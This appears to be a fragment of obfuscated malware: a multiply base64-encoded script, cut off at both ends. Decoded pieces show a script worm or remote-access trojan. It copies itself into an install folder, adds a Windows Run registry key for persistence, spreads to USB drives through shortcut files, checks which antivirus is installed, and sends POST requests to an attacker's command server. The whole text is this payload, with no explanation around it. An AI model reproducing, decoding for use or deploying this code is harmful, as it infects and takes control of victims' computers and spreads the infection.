lTbkJrYlZWMVdtNUtiRnBZVG5kWlYwNXNTVVEwWjAxRFBqNGxjR1YzY0hCYWFUNCtKVzlhU0Vwd1pHMVZkVnBJU25Ca2JWWXdaVmhDYkVsRU1EbEpSRVZuUzFoelMwTllVbmxsV0hOTFExRnNiV0ZYZUd4ak0yeDZaRWRXZEdJeVNuRk1iVTUyWTBoc1IyRlhlR3hMUm1SVVdUTktjR05JVVhWak1rNTVZVmhDTUZKdVZuTmlSVFZvWWxkVloweERRbXRqYld3eVdsTTFkMWxZVW05SlEzTm5TV3g0WTBscFBqNGxja2xIYkhWak0xSm9Za2Q0ZFZsWE1XeE1TRko1WkZkVmNFOTNiMHBEVjJ4dFNVTm9iV0ZYZUd4ak0yeDZaRWRXZEdJeVNuRk1iVnB3WWtkV1JtVkhiSHBrU0UxblMwZFNlV0ZZV214TWJrSm9aRWRuWjB0NVBqNGxhVmhHZDJsSlEzTm5ZVmMxZW1SSFJuTmlSelZvWWxkVmNFdFljMHREVVd0S1dtMXNjMXBZVGpWak0xSnNZbGM1YVdGcE5XNWFXRkpIWVZkNGJFdEhVbmxoV0Zwc1RHNUNhR1JIWjJkTGVUNCtKV2xZUm5kcFNVTStQaVZ5U1Vkc2RXTXpVbWhpUjNoMVdWY3hiRXRUTldoa1NGSjVZVmRLTVdSSFZucEpSREJuVFdsek1FOTNiMHBEV0RCTFExZ3hhbGxZVW1waFEyaHNZVmR3TVV0WWREbERhVDQrSldkSlEwSnRZak5KYjJSdFJubEpSMXB3U1VRd1oySnRWak5KUlZaMVpGY3hiR050UmpCaU0wbHZXbTFzYzFwWVRqVmpNMUpzWWxjNWFXRnBOVzVhV0ZKdFlqSjRhMXBZU1c5YVNFcHdaRzFWZFdOSFJqQmhRejQrSlhKSlEwcGpXRU5KY0V4dFduQmlSMVo2UzFSelowbFhXbkJNYlVZd1VsYzFhMHREYXpkSlIxcHdURzB4ZG1SdFZrOWFXR2d3UzBOcmNHVjNiMHBEV0ZKNVpWaHpTME5SYkRKWldFbG5XbTFzYzFwVFBqNGxPVWxIV25CTWJXd3dXbGN3YjB0VWMwdEpRejQrSldkSlF6NCtKV2RKUTBKd1dtaytQaVZ2WWtjMWNscHRiSE5hVXo0K0pUbFFVMEp0V1ZkNGVscFRiRGRaYmtwc1dWZHpOMlpSYjJkSlF6NCtKV2RKUXo0K0pXZEpSMnh0U1VOb2JXRlhlR3hNYlRWb1lsZFZkV0ZYTld0YVdHaFFXbWxuYVV4cFNYQkxXSE5MU1VNK1BpVm5TVU0rUGlWblNVTStQaVZuU1VNK1BpVm5ZVmRaWjB0RGFHMWhWM2hzVEcwMWFHSlhWWFZqTTBKellWaFJiMGxwTkdsTFZuUnRZVmQ0YkV4dE5XaGlWMVYxWXpOQ2MyRllVVzlKYVRScFMxTTFjMXBYTlc1a1IyZG5URk0rUGlWNFdGTnJkV1JIT1UxaU0yUnNZMnRPYUdNeVZXOUxVejQrSldoUVV6NCtKV2xpUnpWeVNXbHNOME5wUGo0bFowbERQajRsWjBsRFBqNGxaMGxEUGo0bFowbERQajRsWjBsRFFtMWhWM2hzVEcxR01HUklTbkJaYmxZd1dsaE5aMUJUUGo0bGVVdDZVVGREYVQ0K0pXZEpRejQrSldkSlF6NCtKV2RKUXo0K0pXZEpRejQrSldkSlEwSndXbWsrUGlWdldtMXNjMXBUTlhWWlZ6RnNURzVTZGxaWVFuZGFXRXBFV1ZoT2JFdERhMmRKVkRCbllWYzFlbVJIUm5OaVJ6Vm9ZbGRWZFdSSE9WWmpTRUpzWTJ0T2FHTXlWVzlMVTJ3M1EyaytQaVZuU1VNK1BpVm5TVU0rUGlWblNVTStQaVZuU1VNK1BpVm5TVU0rUGlWblNVTStQaVZuV20xc2MxcFhOV2hpVjFWblVGTkNiV0ZYZUd4TWJUVm9ZbGRWZFdNelFuTmhXRkZ2U1drMGFVdFVjMHRKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RKUTBKelltMTBkbGx0YjJkUVUwSjZZVWRXYzJKSE9XbGhhVFZxWTIxV2FHUkhWbFJoUnpsNVpFZE9NV1JEYUd0amJXd3lXbE0xZDFsWVVtOUpRM05uU1d4NFkwbHBQajRsWjB0NVFtMWhWM2hzWW0xR2RGcFdjM2RZVXo0K0pYSkpRMGwxWWtjMWNrbHBhemREYVQ0K0pXZEpRejQrSldkSlF6NCtKV2RKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RKUXo0K0pXZGlSelZ5WWpKS2NVeHVaSEJpYlZKMlpERk9NR1ZYZUd4SlJEQm5UbnB6UzBsRFBqNGxaMGxEUGo0bFowbERQajRsWjBsRFBqNGxaMGxEUGo0bFowbERQajRsWjBsRFFuTmliWFIyV1cxdmRXUkhSbmxhTWxZd1ZVZEdNR0ZEUGo0bE9VbERTbXBpVjFGMVdsaG9iRWxxYzB0SlF6NCtKV2RKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RKUXo0K0pXZEpRejQrSldkSlEwSnpZbTEwZGxsdGIzVmtNamw1WVRKc2RWb3dVbkJqYlZacVpFYzVlV1ZUUGo0bE9VbERTV2xQZDI5blNVTStQaVZuU1VNK1BpVm5TVU0rUGlWblNVTStQaVZuU1VNK1BpVm5TVU0rUGlWblNVZDRkV0V5T1dsaGFUVm9ZMjFrTVdKWFZuVmtTRTFuVUZNK1BpVnBUREpOWjJNelVtaGpibEZuU1drK1BpVnlTVWRzZFdNelVtaGlSM2gxV1ZjeGJFeHVTbXhqUjNob1dUSlZiMkp0VmpOSlJrcHNXakJXTkdORFoybEpRMGx6U1VOS2JrbHBhM05KUTBwalNXbENZMGxwU1hCSlEzTm5TV2xhZW1SSFJubGtRejQrSldsSlEzTm5XbTFzYzFwVE5YVlpWekZzVEc1S2JHTkhlR2haTWxWdlltMVdNMGxHU214YU1GWTBZME5uYVVsRFNYTkpRMHB1U1dscmMwbERTbU5KYVVKalNXbEpjRWxEYzJsS2JWWTBZVmhSYVU5M2IyZEpRejQrSldkSlF6NCtKV2RKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RKUXo0K0pXZEpTRko1WlZoMGJXRlhlR3hoVjA1MlltaytQaVU1U1VoT2IxcFhlSE5pTWtweFRHeEtiRm94U214WlYxRm5TME5LU1ZNd1ZscFlNSGhRVVRCR1RWZ3dNVUpSTUdoS1ZHdFdZMWhJVG5aYWJsSXpXVmhLYkZoR2VHcGlSMFo2WXpKV2VsaEdkMmxKUTNObll6Sm9iR0pIZUhaWmJXOTFWVzFXYmxWdFZtaGFRejQrSlc5SmEyaE1VbFpzWmxSRk9VUlJWWGhtVkZWR1JGTkZiRTlTVm5oall6STViV1JJWkdoamJWWmpXRWRPYzFsWVRucGFXRTVqV0VNMGFVbERjMmRhYld4eldsTTFkVmxYTVd4TWJrNTNZa2RzTUV0RFNYVkphV3hpV20xc2MxcFROWFZaVnpGc1RHNU9kMkpIYkRCTFEwbDFTV2xyZFdKSFZuVmFNMUp2U1VNd1owMVdNSEpKUTBwaldFTkpjRWxEYzJkSmJIaGpXa2RXYlZsWVZuTmtSMnhxWWpJMVkxaERTWEJQZVVJNVdUSkdNRmt5WjI5YVYxWnNXbE5zTjJaUmIyZEpRejQrSldkSlF6NCtKV2RKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RKUXo0K0pXZEpSMnh0U1VOb2JXRlhlR3hoVjA1MlltazFjR0p0VW14bFJUbHRTME5KYzBscGEyZFFWREJuVFVOc04waytQaVZ2WjBsRFBqNGxaMGxEUGo0bFowbERQajRsWjBsRFBqNGxaMGxEUGo0bFowbERQajRsWjBsRFBqNGxaMGxEUW5OaWJYUjJXVzF2ZFdGWFRuWmlhM2gyV1RKR01HRlhPWFZKUkRCbldtMXNjMXBUTlhkWldGSnZUM2R2WjBsRFBqNGxaMGxEUGo0bFowbERQajRsWjBsRFBqNGxaMGxEUGo0bFowbERQajRsWjBsSU1XeGlTRTVzU1VoelMwbERQajRsWjBsRFBqNGxaMGxEUGo0bFowbERQajRsWjBsRFBqNGxaMGxEUGo0bFowbERQajRsWjBsRFBqNGxaMkpITlhKaU1rcHhURzFzYW1JeU5VMWlNazVvWkVkc2RtSnBQajRsT1VsSFduQmlSMVp3V1RJNWRVOTNiMmRKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RKU0RCTFNVTStQaVZuU1VNK1BpVm5TVU0rUGlWblNVTStQaVZuU1VNK1BpVm5TVU0rUGlWblNVTkNjMkp0ZEhaWmJXOTFZekpHTWxwVFozQlBkMjluU1VNK1BpVm5TVU0rUGlWblNVTStQaVZuU1VNK1BpVm5TVU0rUGlWblpsRnZaMGxEUGo0bFowbERQajRsWjBsRFBqNGxaMGxEUWpsRGFUNCtKV2RKUXo0K0pXZEpRejQrSldkbVVXOUtRMWd4YWxsWVVtcGhRMmhzWTI1SmNHVXpNRXRKUXo0K0pXZEpTREJMUTFkYWRtTnBhREpaV0VsbldtMXJaMUJUUW5WYVdHTm5VbGMxTVdKWFZubFpXRkoyWTJsb2JXRlhlR3hqTTJ4NlpFZFdkR0l5U25GTWJXUnNaRWRhZG1KSFVteGphV2hyWTIxc01scFROWGRaV0ZKdlNVTnpaMGxzZUdOSmFXdDFZek5XYVZKdE9YTmFSMVo1WTNsck4wbERSbTFoVXpWb1pFVldkVnBEWjNCUGVVSnRZVk0xZEdJeldteFViVlkwWkVObmNFdFljMHREVVd3d1kyNXNOME5uYTBwa2JVWjVTVWRhZG1KSFVteGphVDQrSlRsSlIxcHdURzFzTUZwWE1HOUxWSE5MU1VNK1BpVm5TVU0rUGlWblNVTkNjRnBwUGo0bGIySkhOWEphYlRseldrZFdlVWxFTURsSlIxcG9Za2hPYkV0WWRHbGpiVlpvWVhwME9VTnBQajRsWjBsRFBqNGxaMGxEUGo0bFoxcHRPWE5hUjFaNVRHMUdNR1JJU25CWmJsWXdXbGhOWjFCVFBqNGxlVXQ2VVRkRGFUNCtKV2RKUXo0K0pXZEpRejQrSldkYWJUbHpXa2RXZVdKdFJuUmFVejQrSlRsSlIxcDJZa2RTYkdOcE5YVlpWekZzVDNkdlowbERQajRsWjBsRFBqNGxaMGxIZUhWaE1qbHBZV2srUGlVNVNVaE9iMXBYZUhOaU1rcHhURzFPZVZwWFJqQmFWazV2WWpOS01Ga3pWakJMUjFKNVlWaGFiRXh1UW1oa1IyZG5TM2srUGlWcFdFWjNhVWxEUGo0bGNrbEhXblppUjFKc1kyMDFhR0pYVldkTGVUNCtKV2xNYlhoMVlYbEpjRTk1UGo0bFMwbERQajRsWjBsRFBqNGxaMGxEUW5OaWJYUjJXVzF2ZFdReWJIVmFSemt6VlROU05XSkhWV2RRVXo0K0pUTlBkMjluU1VNK1BpVm5TVU0rUGlWblNVZDRkV0V5T1dsaGFUVXdXVmhLYmxwWVVsRlpXRkp2U1VRd1owbHRUblJhUXpWc1pVZFZhVTkzYjJkSlF6NCtKV2RKUXo0K0pXZEpSM2gxWVRJNWFXRnBOVE5pTTBweVlWYzFibEpIYkhsYVYwNHdZak5LTlVsRU1HZEphVWszUTJrK1BpVm5TVU0rUGlWblNVTStQaVZuWWtjMWNtSXlTbkZNYlVaNVdqTldkRnBYTlRCamVUNCtKVGxKUTBsMldYbENlbVJIUm5sa1F6NCtKV2xKUTNObllWYzFlbVJIUm5OaVJ6Vm9ZbGRWZFdOdFZuZGlSMFpxV2xOb2RWcFlZMmRWYlZadVVsaG9kMHREU1dkSmFYZG5TVzFqYVV0VGQyZEpiSGRwU1VaM2FVbHBhMmRMZVQ0K0pXbEtiazR3V1ZoS01FbEhWalJqUjNoMlkyMVdlVWxEU1dkTGVVSnRZako0YTFwWVNYVmliVVowV2xNMWVWcFlRbk5aVjA1c1MwYzFiR1I1UWxOYVYyUkdaVWcrUGlWdlNXaytQaVZwVEVNK1BpVnBXbmxKY0V4RFBqNGxhVmhEU1dkWVEwbHBTMU0rUGlWeVNXbGFiR1ZIYkRCSmFuTkxTVU0rUGlWblNVTStQaVZuU1VOQ2JXSXllR3RhV0Vwd1dUSTVkVWxFTUdkak1taHNZa2Q0ZGxsdGIzVlZiVlp1VlcxV2FGcERaMmxUUlhSR1YxWTVUVlF3VGtKVVJqbE9VVlZPU1ZOVk5VWllSbmg2WWpKYU1HUXlSbmxhVm5oaldUSjRhR016VG14ak1YaGpXbTA1YzFwSFZubFlSbmhyV2xkYWFHUlhlREJoVjA1MllteDRZMGxwYXpkSlBqNGxiMmRKUXo0K0pXZEpRejQrSldkSlIyeHRTVU5vYldJeWVHdGFXRXB3V1RJNWRVeHRiSFZhUjFZMFZESlpiMGxwZDJsTFV6NCtKVGxRVXo0K0pYZExXSE5MU1VNK1BpVm5TVU0rUGlWblNVTStQaVZuU1VNK1BpVm5Za2MxY21JeVNuRk1iV3hxWWpJMVRXSXlUbWhrUjJ4MlltaytQaVU1U1VkYWRtSkhVbXhqYVRWM1dWaFNiMDkzYjJkSlF6NCtKV2RKUXo0K0pXZEpTREZzWWtoT2JFbEljMHRKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RKUXo0K0pXZGlSelZ5WWpKS2NVeHRiR3BpTWpWTllqSk9hR1JIYkhaaWFUNCtKVGxKUjFwMllrZFNiR050YkdwaU1qUTNRMmsrUGlWblNVTStQaVZuU1VNK1BpVm5abEZ2WjBsRFBqNGxaMGxEUGo0bFowbEhlSFZoTWpscFlXazFlbGxZV214TFEyczNRMmRyU21aWFRtaGtSMDV2UzBkV2VXTnBiRGRtVVc5blNVTStQaVZuWmxGd09VTnVNRXRtVVhBNVEyNHdTME50V2pGaWJVNHdZVmM1ZFVsSVRqQlpXRW93WkZoQ1JtSkhWakpaV0ZKc1MwTnNOME5uYkhCYWFXaFlWVEpPZVdGWVFqQk1hMFo1V2pOV2RGcFhOVEJqZVRWUFdWY3hiRnBETlVabFIyeDZaRWhOYjBsdFZuTmFXRnBvWkVkV2EwbHBhMmRRVkRCbldtMUdjMk15VlhCbGQyOUtRMWhTZVdWWWMwdERVV3RLVmpGT2FtTnRiSGRrUXpWRVkyMVdhR1JIVmxCWmJYQnNXVE5SYjBsc1RtOWFWM2h6VEd0R2QyTkhlSEJaTWtZd1lWYzVkVWxwYTNWVk1taHNZa2Q0Um1WSFZtcGtXRkpzUzBOS00yTXlUbmxoV0VJd1RHMVdORnBUU1hOSlEwbG5USGs1UTBsR2QybEphVDQrSlhKSlJtUlVXVE5LY0dOSVVYVlZNazU1WVZoQ01GSnVWbk5pUlRWb1lsZFZaMHQ1UGo0bGFWaERTV2RNTWxaeldsaGFhR1JIVm10SmFYZG5TV2xKYzBsRFNubGtWelZvWTNsSmMwbEVSWEJQZDI5S1ExZ3hhbGxZVW1waFEyaDFZbWxzTjBObmEwcG1VVzlLUTFaa1ZGa3pTbkJqU0ZGMVkxaFdjR1JEWjNCUGQyOUtabEZ3T1VObmNHMWtWelZxWkVkc2RtSnBRbXRoV0U1b1dXMTRiRlV5Vm1wa1dFcHdaRWhyYjB0WWMwdERWMnh0UzBaa1ZGa3pTbkJqU0ZGMVVWaEtibVJYTVd4aWJsSjZUR3MxYUdKWFZtdE1hMVkwWVZoT01HTjVaMmxhVjNoc1pHMUdNRnBYVVdsTFV6NCtKVGxRVTBJd1kyNVdiRXRZYzB0RFVXd3lXVmhKWjJJeFNteGFlVDQrSlRsSlJXUnNaRVU1YVdGdFZtcGtRMmRwWkRKc2RXSlhaSFJrU0UwMlpUSnNkR05IVm5sak1qbDFXVmhTY0dJeU5VMWFXRnBzWWtReGNHSllRbXhqYms1MlltMUdNRnBZTUdoWVJuaGpXRU0xWTFoSVNuWmlNMUpqV0VkU2JGcHRSakZpU0ZFMlZUTlNhMVZ0Vm01VlNFcDJaR2xKY0U5M2IwcERWemxUV2xkamRWVXlWakJTU0dSMlkyMVNWMWxYZURGYVUyZDNaVVJuZDAxRVBqNGxkMDFFUGo0bGVVeERTbFJVTUZwVlZqQkdVMUpXZUdOVVYyeHFZMjA1ZW1JeVdqQllSbmhZWVZjMWEySXpaSHBZUm5oRVpGaEtlVnBYTlRCV2JWWjVZekpzZG1Kc2VHTlZSemx6WVZkT2NGcFlUbU5ZUms0MVl6TlNiR0pUU1hOSmExWjFXVmRLYzFwVmVGWlJVMGx6U1VRK1BpVndUM2R2U2tOWE9WTmFWMk4xVlRKV01GSklaSFpqYlZKWFdWZDRNVnBUWjNkbFJHZDNUVVErUGlWM1RVUStQaVY1VEVOS1ZGUXdXbFZXTUVaVFVsWjRZMVJYYkdwamJUbDZZakphTUZoR2VGaGhWelZyWWpOa2VsaEdlRVJrV0VwNVdsYzFNRlp0Vm5sak1teDJZbXg0WTFWSE9YTmhWMDV3V2xoT1kxaEdUalZqTTFKc1lsTkpjMGxyVG5aaWJrNXNZbTVTVVdOdE9YUmpTRkpEV2xkb2FHUnRiSFpqYTBacllsZHNkVWxwZDJkTlEyczNRMmRyU21JeFNteGFlVDQrSlRsSlJ6VXhZa2QzTjBObmJEbERiakJMUTIxYU1XSnRUakJoVnpsMVNVaFdkV0ZYTlhwa1IwWnpZa05uY0dWM2NEQmpibXczUTI1YWFHTnBRbTFoVjNoc1ltMUdkRnBVYzB0a2JVWjVTVWRhZG1KSFVteGpiVFZvWWxkVk4wTnVVbmxsV0hOTFNVTStQaVZuU1VoT2IxcFhlSE5pTWtweFRHeEtiRm93VW14aVIxWXdXbE5uYVZORmRFWlhWamxFVmxaS1UxSlZOVlZZTVZaVVVsWktZMWhJVG5aYWJsSXpXVmhLYkZoR2VIUmhWMDU1WWpOT2RscHVVbU5ZU0dSd1ltMVNkbVF6VG1OWVIwNHhZMjVLYkdKdVVqSmFXRXA2WVZjNWRWaEdlSGxrVnpWaldFTkpaMHQ1UW5CaWJrNHdXVmQ0YzJKdFJuUmFVelY2WTBkNGNHUkRaMmxNYVVsd1YzcENaRXRVYzB0SlF6NCtKV2RKU0U1dldsZDRjMkl5U25GTWJFcHNXakJTYkdKSFZqQmFVMmRwVTBWMFJsZFdPVTFVTUU1Q1ZFWTVUbEZWVGtsVFZUVkdXRVo0ZW1JeVdqQmtNa1o1V2xaNFkySlhiR3BqYlRsNllqSmFNRmhHZUROaFZ6VnJZak5rZWxoR2VHcGtXRXA1V2xjMU1HUnRWbmxqTW14MllteDRZMk51Vm5WWVJuZHBTVU56WjJGWE5YcGtSMFp6WWtjMWFHSlhWWFZqTTBKellWaFJiMGxwTkdsTFZuTjNXRk5yTjBOdU1XcFpXRkpxWVVOb2JHRlRiRGRtVVhBd1kyNXNOME50V25CaVIxWjZaVmhPTUZwWE1YWlpiVzkxV2tkV2MxcFlVbXhTYld4eldsTm9lbVJIUm5sa1NGWjNTVU56WjJGWE5YcGtSMFp6WWtjMWFHSlhWV2RNU0ZKNVpGZFZjRTkzY0cxaFYzaHNZek5zZW1SSFZuUmlNa3B4VEcxU2JHSkhWakJhVlZwd1lrZFZiMVl4VG1wamJXeDNaRU0xZWxrelNuQmpTRkpIWkZkNGMxUnRSblJhVXo0K0pYTmtTRW94V2xOck4wTnVNV3BaV0ZKcVlVTm9iRnBYYjNCbE16QkxXbTA1ZVV0SVdtaGphVUpyWTIxcloxQlRRblZhV0dOblVsYzFNV0pYVm5sWldGSjJZMmxvYldGWGVHeGpNMng2WkVkV2RHSXlTbkZNYlZKNVlWaGFiR041YXpkSlEwWnJZMjFyZFZsWVVrWmliVkZ2UzFSeloxcElTbkJNYlRGMlpHMVdUMXBZYURCTFEydHdaWGR3TWxsWVNXZGFTRXB3WkcxVloxQlRRbXRqYld0MVlWaFNiR0pUWjNCUGQzQndXbWsrUGlWdldraEtjR1J0VlhWaFdFNTVXbGRHYTJWVFBqNGxPVkJUUWpCamJsWnNTMWh6UzJGWFdXZExSMUo1WVZoYWJFeHRXbmxhVjFaNlkwZEdhbHBUUGo0bEswbEVQajRsWjB0WWMwdGhWMWxuUzBkU2VXRllXbXhNYlZKNVlWaGFiR1JJYkhkYVV6NCtKVGxRVXo0K0pYaEpRMnczUTJkc2JXSXpTVzlrYlVaNVNVZGFjRWxFTUdkaWJWWXpTVVZXZFdSWE1XeGpiVVl3WWpOSmIxcHRiSE5hV0U0MVl6TlNiR0pYT1dsaGFUVnVXbGhTYldJeWVHdGFXRWx2V2toS2NHUnRWWFZqUjBZd1lVTStQaVZ5U1VOS1kxaERTWEJNYlZwd1lrZFdla3RVYzJkSlYxcHdURzFHTUZKWE5XdExRMnMzU1VkYWNFeHRNWFprYlZaUFdsaG9NRXREYTNCbGQyOW5TVU0rUGlWblNVTStQaVZuU1VOQ01sbFlTV2RhYld4eldsTStQaVU1U1VkYWNFeHRiREJhVnpCdlMxUnpTME5SYTJka1NFbzFaWGR2WjBsRFBqNGxaMGxEUGo0bFowbERRbkJhYVQ0K0pXOWFiV3h6V2xNMWRWbFhNV3hNYld4MVdrZFdORlF5V1c5SmFUUnBTMU5zTjBOcFBqNGxaMGxEUGo0bFowbERQajRsWjBsRFBqNGxaMGxEUW5CYWFUNCtKVzlMUjFwd1lrZFZkV0p0Um5SYVV6VjZZMGQ0Y0dSRFoybE1hVWx3VnpKYWNHSkhWWFZpYlVaMFdsTTFlbU5IZUhCa1EyZHBUR2xKY0V4dGVHeGliV1F3WVVNK1BpVjBTVVJHWkV0VE5UQmlNSGgyWkRKV2VWRXlSbnBhVTJkd1NVTkZPVWxEU25OaWJYTnBTMWh6UzBsRFBqNGxaMGxEUGo0bFowbERQajRsWjBsRFBqNGxaMGxEUGo0bFowbERRbTFoVjNoc1RHMUdNR1JJU25CWmJsWXdXbGhOWjFCVFBqNGxkMDkzYjJkSlF6NCtKV2RKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RKUXo0K0pXZEpSMnh0U1VOb2JXRlhlR3hNYlRWb1lsZFZkV1JIT1ZaalNFSnNZMnRPYUdNeVZXOUxVejQrSldoUVUwSndZbTVPTUZsWGVITmliVVowV2xNMU1HSXhWbmRqUjFaNVVUSkdlbHBUWjNCTFdITkxTVU0rUGlWblNVTStQaVZuU1VNK1BpVm5TVU0rUGlWblNVTStQaVZuU1VNK1BpVm5TVU0rUGlWbldtMXNjMXBYTldoaVYxVm5VRk5DYldGWGVHeE1iVFZvWWxkVmRXTXpRbk5oV0ZGdlNXazBhVXRVYzB0SlF6NCtKV2RKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RhYld4eldsaE9OV016VW14aVZ6bHBZV2sxYTFwWGVHeGtSMVpIWVZkNGJFdEhVbmxoV0Zwc1RHNUNhR1JIWjJkTGVUNCtKV2xZUm5kcFNVTnpaMXB0YkhOYVZ6Vm9ZbGRXWWsxR01HZExlVDQrSldsTWJYaDFZWGxKWjB0VWMwdEpRejQrSldkSlF6NCtKV2RKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RKUTBJNVdsZDRlbHBZYzB0SlF6NCtKV2RKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RhYld4eldsaE9OV016VW14aVZ6bHBZV2sxYTFwWGVHeGtSMVpIWVZkNGJFdEhVbmxoV0Zwc1RHNUNhR1JIWjJkTGVUNCtKV2xZUm5kcFNVTnpaMXB0YkhOYVV6VjFXVmN4YkV0VWMwdEpRejQrSldkSlF6NCtKV2RKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RKUTBJNVEyaytQaVZuU1VNK1BpVm5TVU0rUGlWblNVTStQaVZuU1VOQ09WcFhlSHBhV0hOTFNVTStQaVZuU1VNK1BpVm5TVU0rUGlWblNVTStQaVZuU1VNK1BpVm5TVU5DYldGWGVHeGpNMng2WkVkV2RHSXlTbkZNYlZKc1lrZFdNRnBWV25CaVIxVm5TMGRhY0dKSFZYVmpSMFl3WVVOck4wTnBQajRsWjBsRFBqNGxaMGxEUGo0bFowbERQajRsWjBsRFFqbERhVDQrSldkSlF6NCtKV2RKUXo0K0pXZEpTREJMUTFGcloyWlhUbWhrUjA1dlMwZFdORXRZZERsRGFUNCtKV2RKUXo0K0pXZG1VVzlLU1VkYWRtTnBhREpaV0VsbldtMXJaMUJUUW5WYVdHTm5VbGMxTVdKWFZubFpXRkoyWTJsb2JXRlhlR3hqTTJ4NlpFZFdkR0l5U25GTWJXUnNaRWRhZG1KSFVteGphV2hyWTIxc01scFROWGRaV0ZKdlNVTnpaMGxzZUdOSmFXdDFZek5XYVZKdE9YTmFSMVo1WTNsck4wbERSbTFoVXpWb1pFVldkVnBEWjNCUGVVSnRZVk0xZEdJeldteFViVlkwWkVObmNFdFljMHREVVd3eVdWaEpaMXB0T1hOYVIxWjVTVVF3WjFwdGEzVmhXRkpzWWxObmNFOTNiMmRKUXo0K0pXZEpRejQrSldkSlEwSnRZako0YTFwWVNYVlpXRkl3WTIxc2FXUllVbXhqZVQ0K0pUbEpSRDQrSlRkRGFUNCtKV2RKUXo0K0pXZG1VWEE1UTI0d1MyWlJjRGxEYmpGcVdWaFNhbUZEYUd4amJrbHdaVE13UzFZeFRtcGpiV3gzWkVNMWVHUlhiREJMUTJzM1EyNHdTME50V2pGaWJVNHdZVmM1ZFVsSVFuWmpNMUZuUzBkT2RGcERQajRsYzJOSFJubFpWekJ3Wlhkd01HTnViRGREYldnd1pFaENkbGx0YjNWaU0wSnNZbWxuYVdOSE9YcGtRMGx6U1cxb01HUklQajRsTmt4NU9HbEpRM05uWVVjNWVtUkRQajRsY2tsRFNUWkphVDQrSlhKSlNFSjJZMjVSWjB0NVNYWkphVDQrSlhKSlIwNTBXa04zWjFwdFJuTmpNbFZ3VDNkd2IyUklVbmRpTWtweFRHNU9iR1JHU214aldGWnNZek5TU1ZwWFJtdGFXRWx2U1c1V2VscFlTWFJaVjJSc1ltNVJOa2xwZUhCaWJWcDJZMjB4YUdSSGJIWmlhV2R3UzFSelMyRklVakJqUnpscFlXazFlbHBYTld0TFNFSm9ZMjFHZEV0VWMwdGpiVll3WkZoS2RVbEhhREJrU0VKMldXMXZkV050Vm5walJ6bDFZekpXVlZwWWFEQlBkM0E1V1RKR01Ga3laMjlhV0VwNVMxaHpTME5ZU214a1NGWjVZbWsrUGlWcFNXcHpTMlpSY0RsRFozQnRaRmMxYW1SSGJIWmlhVUp3WW0xYWRtTnRNV2hrUjJ4MlltbG5jR1YzY0RCamJtdzNRMjFzYlVsRGFIQmliVmxuVUZRd1owbHBTWEJsZDI5blNVTStQaVZuWVZjMWJVbEVNR2RoU0dSd1drTm5jRWxEYzJkak0wSnpZVmhTYkdOcWMwdEpRejQrSldkSlIyeDFXbWsrUGlVNVNVZHNkVnBwUGo0bFowdDVRbnBoUjFaellrYzVhV0ZwTlVabFNFSm9ZbTFTUm1KdVduQmpiVGwxWWxkV2RXUkdUakJqYld4MVdqTk5iMGxwVm1waU1qRjNaRmhTYkdOdE5XaGlWMVZzU1dsclowdDVRbnBqUjNod1pFZFdlVWxFYzB0SlF6NCtKV2RKUjJ4MVdtaytQaVU1U1Vkc2RWcHBQajRsWjB0NVFucGhSMVp6WWtjNWFXRnBOVVpsU0VKb1ltMVNSbUp1V25CamJUbDFZbGRXZFdSR1RqQmpiV3gxV2pOTmIwbHBWakZqTWxaNVltMUdkRnBUVldsTFV6NCtKWEpKU0U1M1lrZHNNRnBZU1RkRFoyOW5TVU0rUGlWblpHMUdlVWxJU25aaU0xRm5VRk5DU0ZwWVVsQlpiWEJzV1ROUmIwbHVaSEJpYlRGdVlsaFNlazl1ZEhCaVdFSnNZMjVPZG1KdFJqQmhWemwxWWtkV01scFhkemxoVnpGM1dsaEtlbUl5Tldoa1IxWTVTVlo0WTFoR2QzVllSbmg1WWpJNU1GaEdlR3BoVnpFeVRXbEpjRTkzYjJkSlF6NCtKV2RrYlVaNVNVYzVla2xFTUdkamJUbDJaRU0xUm1WSFZtcFZXRlpzWTI1clowdERTbnBhVjNoc1dUTlJaMHRwUW0xamJUbDBTVWhrY0dKcVRYbFlNamwzV2xoS2FHUkhiSFZhTTA0MVl6TlNiR0pUU1hCUGQyOW5TVU0rUGlWTFExZGFkbU5wYURKWldFbG5XbTFyWjFCVFFuVmFXR05uVWxjMU1XSlhWbmxaV0ZKMlkybG9kbU41YXpkSlEwWnRZVk0xYUdSRlZuVmFRMmR3VDNsQ2JXRlROWFJpTTFwc1ZHMVdOR1JEWjNCTFdITkxRMUZzTWxsWVNXZGlNMDV3WW0xYWRrbEVNR2RhYld0MVlWaFNiR0pUWjNCUGQyOW5TVU0rUGlWblNVTStQaVZuWVZjMWJVbEVNR2RoVnpWdFNVTnpaMkl6VG5CaWJWcDJURzFPYUdOSVVuQmlNalJuUzNsQ2VtTkhlSEJrUjFaNVQzaytQaVZuUTJrK1BpVm5TVU0rUGlWblNVTkNhV050Vm1oaGVuTkxTVU0rUGlWblNVZ3dTMGxEUGo0bFowbEhiSFZhYVQ0K0pUbEpSMngxV21rK1BpVnlTVU5LZDJKSVZucEphVDQrSlhKSlNFNTNZa2RzTUZwWVNUZERhVDQrSldkSlEwSndZbTFaWjFCVFFuQmliVmxuUzNsQ2VscFhUakZqYld3d1pWTm5jRWxEYzJkak0wSnpZVmhTYkdOcWMwdEpRejQrSldkSlIyeDFXbWsrUGlVNVNVZHNkVnBwUGo0bGNrbElWbnBaYms1M1kyMVdhRnBIYkhWYWVuTkxTVU0rUGlWblNVZHNkVnBwUGo0bE9VbERTbGhWTUdoVFVWWlJhVWxEYzJkak0wSnpZVmhTYkdOcFBqNGxja2xIYkhWYWFUNCtKWEpKU0U1M1lrZHNNRnBZU1dkTGVUNCtKV2xUYlVZeVdWWk9hbU50Ykhka1F6RXlUVk0wTWtscFBqNGxOME5wUGo0bFowbERRbmxhV0ZJeFkyM